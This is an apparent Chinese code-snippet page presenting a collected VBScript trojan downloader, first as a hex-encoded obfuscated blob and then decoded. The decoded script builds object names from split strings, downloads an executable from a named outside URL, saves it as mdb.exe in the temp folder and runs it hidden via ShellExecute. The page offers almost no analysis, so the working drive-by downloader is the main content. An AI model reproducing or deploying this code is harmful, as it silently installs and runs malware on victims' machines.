一个收集的下载木马并运行的VBS代码

2019-01-16 10:49:44刘景俊

2C2222290D0A202020207171712E5368656C6C45786563757465207 
87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D 
="EXECUTE """"":C="&CHR(&H":N=")":DO WHILE LEN(S)>1:IF ISNUMER 
IC(LEFT(S,1)) THEN D=D&C&LEFT(S,2)&N:S=MID(S,3) ELSE D=D&C&LEF 
T(S,4)&N:S=MID(S,5) 
LOOP:EXECUTE D 
</script> 
解密后:

on error resume next 
sss="mdb.exe" 
aa="ob" 
aaa="je" 
aaaa="ct" 
aaaaa="cla" 
aaaaaa="ssid" 
aaaaaaa="cls" 
aaaaaaaa="id:BD96" 
aaaaaaaaa="C556-65" 
aaaaaaaaaa="A3-11D" 
aaaaaaaaaaa="0-98" 
aaaaaaaaaaaa="3A-00C04F" 
aaaaaaaaaaaaa="C29E36" 
mm="Mic" 
nn="ros" 
mmnn="oft.X" 
nnmm="MLH" 
mnmn="TTP" 
nm=mn 
bb="Ad" 
bbb="od" 
bbbb="b.St" 
bbbbb="ream" 
gg="g" 
ee="e" 
tt="t" 
cc="Scr" 
ccc="ipt" 
cccc="ing.F" 
cc1="ileS" 
ccc1="yst" 
cccc1="emO" 
cc2="bj" 
ccc2="ect" 
hh="She" 
hhh="ll.Ap" 
hhhh="pli" 
hhhhh="cati" 
hhhhhh="on" 
oo="o" 
ooo="pe" 
oooo="n" 
Set xxxxxxxx = document.createElement(aa&aaa&aaaa) 
xxxxxxxx.setAttribute aaaaa&aaaaaa, aaaaaaa&aaaaaaaa&aaaaaaaaa&aaaaaaaaaa&aaaaaaaaaaa&aaaaaaaaaaaa&aaaaaaaaaaaaa 
Set xxxxxx = xxxxxxxx.CreateObject(mm&nn&mmnn&nnmm&mnmn,"") 
set xxxx = xxxxxxxx.createobject(bb&bbb&bbbb&bbbbb,"") 
xxxx.type = 1 
xxxxxx.Open gg&ee&tt, "http://qq.ee28.cn/down/down.exe", False 
xxxxxx.Send 
xxxxxxx=sss 
set xxxxx = xxxxxxxx.createobject(cc&ccc&cccc&cc1&ccc1&cccc1&cc2&ccc2,"") 
set tmp = xxxxx.GetSpecialFolder(2) 
xxxxxxx= xxxxx.BuildPath(tmp,xxxxxxx) 
xxxx.open 
xxxx.write xxxxxx.responseBody 
xxxx.savetofile xxxxxxx,2 
xxxx.close 
set qqq = xxxxxxxx.createobject(hh&hhh&hhhh&hhhhh&hhhhhh,"") 
qqq.ShellExecute xxxxxxx,"","",oo&ooo&oooo,0

您可能感兴趣的文章:

支持断点下载的VBS代码vbs 多线程下载实现代码VBS下载文件的新方法VBS 下载方法(CDO.MESSAGE)使用vbs下载文件的代码加强版用ASP VBS xmlhttp adodbstream下载和保存图片的代码下载文件到本地运行的vbsVBS下载者(通过vbscript实现文件下载)